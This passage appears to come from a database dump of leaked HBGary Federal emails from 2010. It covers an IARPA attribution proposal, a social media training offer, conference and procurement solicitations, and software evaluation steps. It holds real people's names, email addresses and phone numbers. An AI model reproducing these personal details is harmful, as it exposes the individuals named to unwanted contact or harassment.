wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9712,'aaron_hbgary_com/9712.html'),(12380,'2010-09-28','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009145.M493186P14101Q7236.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','Heavy stuff.  Will need to putbreal cycles in on this.\r\n\r\n\r\nOn Monday, September 27, 2010, Aaron Barr  wrote:\r\n> Any thoughts on this?  We are proposing an R&D project for IARPA for TMC/Fingerprint/Social Media Analysis for Attribution.  I can do the research to answer the questions but thought if you have any quick answers off the top of your head to some of these...\r\n> Aaron\r\n>\r\n>\r\n> Begin forwarded message:\r\n> From: Edward J Baranoski \r\n> Date: September 17, 2010 3:13:16 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Ted Vera \r\n> Subject: Re: HBGary Abstract for IARPA-BAA-10-09\r\n>\r\n> Aaron,\r\n>\r\n> The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn\'t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n>\r\n> Here are sample questions I have regarding the approach you propose:\r\n>\r\n> 1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?\r\n>\r\n> 2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?\r\n>\r\n> 4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n>\r\n> 3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n>\r\n> 4. Figure 1 is not really explained, so I don\'t know what it is supporting.\r\n>\r\n> -Ed\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: \"Aaron Barr\" \r\n> To: \"edward j baranoski\" \r\n> Cc: \"Ted Vera\" \r\n> Sent: Tuesday, September 14, 2010 9:41:47 PM\r\n> Subject: HBGary Abstract for IARPA-BAA-10-09\r\n>\r\n> Ed,\r\n>\r\n> Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n>\r\n> Aaron\r\n>\r\n>\r\n>\r\n> Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n',4245,'aaron_hbgary_com/4245.html'),(12381,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009145.M50010P14101Q7234.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: Need Frisbie contact info','Yep.  I think this is the wrong starting point.  The best value is first getting as many employees as possible understanding the risks and the actual techniques that are or could be used to gather information and access.  I focus on the employees and getting them to a common level of social media security awareness.\r\nSent from my iPhoneOn Sep 28, 2010, at 7:28 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nHave you looked at SANS - Securing the Human \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRobert.Frisbie@ManTech.com\r\n\r\n\r\n\r\n703-847-5193\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHey I will send you a flyer when it is done, but for the\r\nrest of the year we are going to offer a package social media training program.\r\n $25K an org gets me for 2 days for 3 2 hr. training sessions, so total of\r\n6.  As many employees as you can fit in your training space.  If you\r\nthink that will be of any interest to any of the folks you deal with.\r\n Remember social media is the new and predominate attack vector for\r\nthreats.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n(I am in Seattle the rest of the week).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12373,'aaron_hbgary_com/12373.html'),(12382,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009145.M796302P14101Q7237.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','yeah friggin R&D centers want a dissertation.  Actually the page count for this is not that high just what they want in it is - academic.\r\n\r\nAaron\r\n\r\nOn Sep 28, 2010, at 10:37 AM, Greg Hoglund wrote:\r\n\r\n> Heavy stuff.  Will need to putbreal cycles in on this.\r\n> \r\n> \r\n> On Monday, September 27, 2010, Aaron Barr  wrote:\r\n>> Any thoughts on this?  We are proposing an R&D project for IARPA for TMC/Fingerprint/Social Media Analysis for Attribution.  I can do the research to answer the questions but thought if you have any quick answers off the top of your head to some of these...\r\n>> Aaron\r\n>> \r\n>> \r\n>> Begin forwarded message:\r\n>> From: Edward J Baranoski \r\n>> Date: September 17, 2010 3:13:16 PM EDT\r\n>> To: Aaron Barr \r\n>> Cc: Ted Vera \r\n>> Subject: Re: HBGary Abstract for IARPA-BAA-10-09\r\n>> \r\n>> Aaron,\r\n>> \r\n>> The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn\'t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n>> \r\n>> Here are sample questions I have regarding the approach you propose:\r\n>> \r\n>> 1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?\r\n>> \r\n>> 2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?\r\n>> \r\n>> 4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n>> \r\n>> 3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n>> \r\n>> 4. Figure 1 is not really explained, so I don\'t know what it is supporting.\r\n>> \r\n>> -Ed\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: \"Aaron Barr\" \r\n>> To: \"edward j baranoski\" \r\n>> Cc: \"Ted Vera\" \r\n>> Sent: Tuesday, September 14, 2010 9:41:47 PM\r\n>> Subject: HBGary Abstract for IARPA-BAA-10-09\r\n>> \r\n>> Ed,\r\n>> \r\n>> Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',5831,'aaron_hbgary_com/5831.html'),(12383,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009146.M177572P14101Q7238.eml','\"Greg Hoglund\" <greg@hbgary.com>','Proposal and Business Plan','Greg,\r\n\r\nStarting to form a prop and business plan in the cloud.  If you have a preference on templates let me know or we can just work it as we go.\r\n\r\nI told Matt that one of the first things I will need is Tawny to generate some concept art that I can pepper in the proposal.  Once we have that put together I can start shopping it around for angel investment.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',12611,'aaron_hbgary_com/12611.html'),(12384,'2010-09-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009146.M385396P14101Q7239.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: Need Frisbie contact info','Yeah quickly becoming a competitive market.  Does sans resell others training?AaronSent from my iPhoneOn Sep 28, 2010, at 7:35 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nJust wanted to make sure you saw it, SANS just bought the company\r\nthat teaches it to add to their course load. \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:32 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYep.  I think this is the wrong starting point.\r\n The best value is first getting as many employees as possible\r\nunderstanding the risks and the actual techniques that are or could be used to\r\ngather information and access.  I focus on the employees and getting them\r\nto a common level of social media security awareness.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 7:28 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nyou looked at SANS - Securing the Human \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, September 28, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nRobert.Frisbie@ManTech.com\r\n\r\n\r\n\r\n703-847-5193\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHey\r\nI will send you a flyer when it is done, but for the rest of the year we are\r\ngoing to offer a package social media training program.  $25K an org gets\r\nme for 2 days for 3 2 hr. training sessions, so total of 6.  As many\r\nemployees as you can fit in your training space.  If you think that will\r\nbe of any interest to any of the folks you deal with.  Remember social\r\nmedia is the new and predominate attack vector for threats.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n(I\r\nam in Seattle the rest of the week).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14273,'aaron_hbgary_com/14273.html'),(12385,'2010-09-28','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297009146.M591029P14101Q7240.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need Frisbie contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWould guess they do, think Lance was teaching for them before\r\nthey bought him. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 9:01 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYeah quickly becoming a competitive market. &nbsp;Does sans\r\nresell others training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 7:35 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nwanted to make sure you saw it, SANS just bought the company that teaches it to\r\nadd to their course load. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:32 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYep.\r\n&nbsp;I think this is the wrong starting point. &nbsp;The best value is first\r\ngetting as many employees as possible understanding the risks and the actual\r\ntechniques that are or could be used to gather information and access. &nbsp;I\r\nfocus on the employees and getting them to a common level of social media\r\nsecurity awareness.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 28, 2010, at 7:28 AM, &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nyou looked at SANS - Securing the Human \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 8:16 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Need Frisbie contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRobert.Frisbie@ManTech.com\r\n\r\n\r\n\r\n703-847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nI will send you a flyer when it is done, but for the rest of the year we are\r\ngoing to offer a package social media training program. &nbsp;$25K an org gets\r\nme for 2 days for 3 2 hr. training sessions, so total of 6. &nbsp;As many\r\nemployees as you can fit in your training space. &nbsp;If you think that will\r\nbe of any interest to any of the folks you deal with. &nbsp;Remember social\r\nmedia is the new and predominate attack vector for threats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n(I\r\nam in Seattle the rest of the week).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 28, 2010, at 10:12 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6398,'aaron_hbgary_com/6398.html'),(12386,'2010-09-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009147.M782979P14101Q7241.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Flyer','It took a little time, I tried to condense to one page.  Take a look,\r\nattached in Pages and PDF format.\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, Sep 28, 2010 at 1:21 AM, Aaron Barr  wrote:\r\n> Hows the flyer coming?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1597,'aaron_hbgary_com/1597.html'),(12387,'2010-09-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009148.M286480P14101Q7243.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Participate at the DIA\'s DSSS Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure.&nbsp; My biggest concern is that cyber security is one of over\r\n20 topics.&nbsp; So, if there are 500 attendees that would be maybe 50 people who\r\ncare about cyber security, as we&#8217;ve found in the past, it is a subset of cyber\r\nsecurity people who care about what we do.&nbsp; On the surface it doesn&#8217;t look like\r\na great fit for us.\r\n\r\n&nbsp;\r\n\r\nAaron, what do you think?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, September 28, 2010 9:15 AM\r\nTo: \'Bob Slapnik\'; \'Barr Aaron\'\r\nSubject: FW: Participate at the DIA\'s DSSS Conference\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre you interested?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nconferencesales@ncsi.com [mailto:conferencesales@ncsi.com] \r\nSent: Monday, September 27, 2010 11:21 AM\r\nTo: penny@hbgary.com\r\nSubject: Participate at the DIA\'s DSSS Conference\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow\r\ncan you REACH over 500 DoD federal government and industry security\r\nprofessionals from around the world?\r\n\r\nDEMONSTRATE the\r\nsolutions your company has to offer directly to the decision makers managing\r\nSensitive Compartmented Information Facilities (SCIFs ) worldwide at the\r\nDefense Special Security System Conference, November 30th to\r\nDecember 2nd 2010 in San Antonio, TX.\r\n\r\nRepresentatives\r\nfrom 50+ military installations and commands in North America, Europe, Asia and\r\nAfrica have already registered to attend this year.\r\n\r\n\r\n\r\n*A full list of registrant\'s titles and organizations are\r\navailable. Contact us today to learn more.\r\n\r\nENGAGE the niche community attending\r\nthis conference. Network yourself among senior officials of the DSSS and Special\r\nSecurity Officers (SSOs) responsible for managing major security programs and\r\nfor updating and maintaining security equipment, software, policies and\r\nprocedures at SCIFs. \r\n\r\nSSOs safeguard these facilities. They also implement procedures\r\nfor the use of Sensitive Compartmented Information (SCI); conduct background\r\ninvestigations; perform personnel adjudication functions; monitor personnel\r\naccess controls; assist with security education; and transmit, transfer,\r\ndowngrade, and administer the proper destroying of information. \r\n\r\nDIA requested technologies and solutions:\r\n\r\n\r\n \r\n  \r\n  \r\n   Physical security \r\n   \r\n    Control Panels \r\n    Locks and Safes \r\n    Alarms \r\n    Entry/Exit Control \r\n   \r\n   Cyber Security Technology\r\n       \r\n   Access Control Devices \r\n   IT Systems Security \r\n   Secure Communications \r\n   SCI Security Services/Consultants\r\n       \r\n   Hardware/Software \r\n   Blast Mitigation \r\n   Central Station\r\n       Monitoring\r\n  \r\n  \r\n  \r\n  \r\n   Communications Equipment \r\n   Employee Screening \r\n   Forgery/Fraud \r\n   Guard Services \r\n   Smart Cards, Readers and\r\n       Systems \r\n   Biometric Technology \r\n   Identity Management \r\n   Intrusion Detection\r\n       Systems \r\n   Surveillance \r\n   Visitor Management\r\n       Systems \r\n   Vaults and Containers \r\n   Data and document\r\n       destruction\r\n  \r\n  \r\n \r\n\r\n\r\nEXPAND your company\'s image in the marketplace and\r\nhighlight products and services that will provide practical solutions to the\r\never changing security challenges.\r\n\r\nSOLIDIFY your existing customer\r\nrelationships and expand new relationships by participating in multiple\r\nnetworking opportunities with conference attendees.\r\n\r\nACCOMPLISH your marketing objectives and PARTICIPATE\r\nin this year\'s DSSS conference! Low price point opportunities exist for Start\r\nUp Companies!\r\n\r\nAvailability is limited, so please contact your NCSI sales\r\nrepresentative today to secure a contract for space. \r\n\r\n\r\nFor more information on how you can participate, please contact us at:\r\n\r\nconferencesales@ncsi.com |\r\noffice: 888.603.8899 | fax: 443.561.2440\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNCSI\r\nprovides logistical support to the 2010 Defense Special Security Systems\r\nConference under the authority of the Defense Inteliigence Agency (DIA).\r\nPlease Click here&nbsp;if&nbsp;you would&nbsp;like\r\nto&nbsp;unsubscribe from future email communications&nbsp;about this event\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8402,'aaron_hbgary_com/8402.html'),(12388,'2010-09-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009148.M48084P14101Q7242.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Charles Copeland\" <charles@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Responder Eval','Here is how to download the Responder + Digital DNA evaluation software.\r\nMake sure to grab the downloaded pdf user manual.\r\n\r\n- Go to www.hbgary.com\r\n- Click on Register (upper right corner) to create an account (fill in the\r\nform)\r\n- Send an email to support@hbgary.com (and copy me) to request the eval\r\nsoftware.  One of us will manually enable your account and send you an email\r\nthat you can proceed with the download.\r\n- Click on PORTAL\r\n- On the portal page click on My Downloads\r\n- Download the software, install it and run it.\r\n- Send the Machine ID to support@hbgary.com (and copy me), then we will send\r\nyou a 14-day eval key.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 28, 2010 10:12 AM\r\nTo: Charles Copeland\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: Responder Eval\r\n\r\nHey Charles,\r\n\r\nHow do I go about getting someone an eval of Responder?  Sorry I don\'t do it\r\noften.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',11910,'aaron_hbgary_com/11910.html'),(12389,'2010-09-28','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297009149.M118058P14101Q7244.eml','\"Aaron Barr\" <aaron@hbgary.com>','Enterprise Cyber Forensics System TSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nINPUT - Win More Government Business\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe award\r\nis a ways off but an interesting opportunity for you?\r\n\r\n&nbsp;\r\n\r\n--------------------------------------------------------------------------------------------------------------\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  &nbsp;\r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Corporate Home|\r\n    Solutions|\r\n    Events|\r\n    Research\r\n    Library| About| Careers \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Not&nbsp;logged&nbsp;in. \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    Login\r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    &nbsp;&nbsp;\r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Mark as:&nbsp;\r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Federal Opportunities\r\n    Opportunity\r\n    Report \r\n    \r\n    \r\n    Quick Search &raquo; \r\n    Opp\r\n    ID # [Go] \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Request Support Email to Colleague Print Version My Notes Company Notes Format for Web Archive Submit FOIA \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    ENTERPRISE CYBER FORENSICS SYSTEM\r\n    (ECFS) \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Opportunity ID :\r\n      63606&nbsp;&nbsp;&nbsp;\r\n      \r\n      \r\n      Mark as:&nbsp;\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Opportunity Summary\r\n        \r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Department:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          HOMELAND\r\n          SECURITY&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Agency:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          TRANSPORTATION\r\n          SECURITY ADMINISTRATION&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Status:\r\n          \r\n          \r\n          \r\n          \r\n          \r\n          Pre-RFP&nbsp;\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          Solicitation Release Date:\r\n          \r\n          \r\n          \r\n          